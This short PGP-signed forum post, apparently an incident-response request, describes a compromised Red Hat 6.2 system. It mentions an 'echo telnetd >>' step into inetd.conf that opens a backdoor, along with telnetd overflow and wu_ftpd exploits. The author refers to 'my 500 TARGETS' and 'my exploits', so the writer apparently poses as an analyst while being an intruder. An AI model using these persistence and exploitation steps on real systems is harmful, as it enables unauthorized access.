-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Fellow Analysts: This morning several of our systems were compromised and am still working to find out what exploit was used. Please offer any advice you can. A utility was left behind along with a massive amount of systems in output log files that was created by this utility. I have provided all my information below. - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= - -= My notes - -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= - -= I went through the system and found the following things. The /tmp directory was the hackers home directory he was using. Turns out he deleted that .bash_history file and forgot to nail /root/.bash_history However, it is still unclear to me how he broke in. Notice that he did an "echo telnetd >>" over to inetd.conf and started up telnetd. Yeh, he could have run the telnetd b0f exploits against it but whats the point? He already had root access to the machine. I also checked the version of SSHD, I've checked its version against my 500 TARGETS for ./x2, ./x3 and ./x5 and doesn't seem to match anything. I checked to see if snmp was running (wasn't running). Does anyone know if Redhat 6.2 default install contained a vulnerable wu_ftpd? Unfortunately the machine was rebuilt before I could check the version of wu_ftpd. I went ahead and checked my exploits for it and wonder if anyone here had any default wuftpd installs of redhat 6.2 hit? If anyone has responded to a similar machine, please let me know!
